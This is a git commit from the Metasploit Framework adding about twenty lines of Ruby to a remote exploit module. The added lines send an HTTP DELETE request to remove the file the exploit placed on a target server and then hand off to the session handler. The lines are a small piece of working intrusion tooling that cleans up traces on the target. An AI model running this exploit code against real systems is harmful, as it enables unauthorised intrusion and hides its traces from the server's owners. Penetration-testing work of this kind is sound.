Try to delete the file (doesn't always work)

git-svn-id: file:///home/svn/framework3/trunk@8413 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-02-08 19:12:59 +00:00
parent bc62eaf99b
commit c6c1cda153
1 changed files with 21 additions and 0 deletions

View File

@ -126,6 +126,27 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
#
# DELETE
#
print_status("Deleting #{path}, this doesn't always work...")
res = send_request_cgi({
'uri' => path,
'method' => 'DELETE'
}, 20)
if (! res)
print_status("Deletion failed on #{path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
return
end
handler
end